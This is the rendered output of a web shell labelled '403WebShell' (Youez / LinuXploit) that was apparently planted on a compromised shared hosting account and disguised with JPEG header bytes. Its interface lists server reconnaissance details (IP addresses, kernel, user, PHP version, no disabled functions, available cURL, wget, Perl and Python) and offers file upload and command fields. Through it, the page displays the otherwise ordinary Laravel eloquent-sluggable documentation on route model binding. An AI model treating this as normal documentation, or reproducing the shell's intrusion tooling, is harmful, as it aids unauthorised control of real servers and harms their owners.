����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.148.233.130
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.gltechlimited.com/vendor/cviebrock/eloquent-sluggable/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.gltechlimited.com/vendor/cviebrock/eloquent-sluggable/ROUTE-MODEL-BINDING.md
# Route Model Binding and Eloquent-Sluggable

Route Model Binding is easy to implement with only minor configuration to your models.


## Implicit Binding

Implicit binding requires adding a `getRouteKeyName()` method to your model that returns the name
of the slug field:

```php
use Cviebrock\EloquentSluggable\Sluggable;
use Cviebrock\EloquentSluggable\SluggableScopeHelpers;
use Illuminate\Database\Eloquent\Model;

class Post extends Model
{
    use Sluggable, SluggableScopeHelpers;
    
    public function sluggable(): array
    {
        return [
            'slug' => [
                'source' => 'title',
            ]
        ];
    }
    
    /**
     * Get the route key for the model.
     *
     * @return string
     */
    public function getRouteKeyName(): string
    {
        return 'slug';
    }
    
}
```

From there, you can set up your routes as described in the Eloquent documentation:

```php
Route::get('api/posts/{post}', function(App\Post $post): string {
    return $post->title;
});
```

In this example, since the Eloquent type-hinted `$post` variable defined on the route 
matches the {post} segment in the route's URI, Laravel will automatically inject the 
model instance that has a slug matching the corresponding value from the request URI.

Further, if you are using the [SluggableScopeHelpers](SCOPE-HELPERS.md) trait, you can bind
the default slug to the route parameter with:
 
```php
public function getRouteKeyName(): string
{
    return $this->getSlugKeyName();
}
```


## Explicit Binding

You can also use the `RouteServiceProvider::boot` method as described in the 
[Laravel Documentation](https://laravel.com/docs/routing#route-model-binding) to 
handle explicit route model binding.


- - -

Copyright (c) 2013 Colin Viebrock

Youez - 2016 - github.com/yon3zu
LinuXploit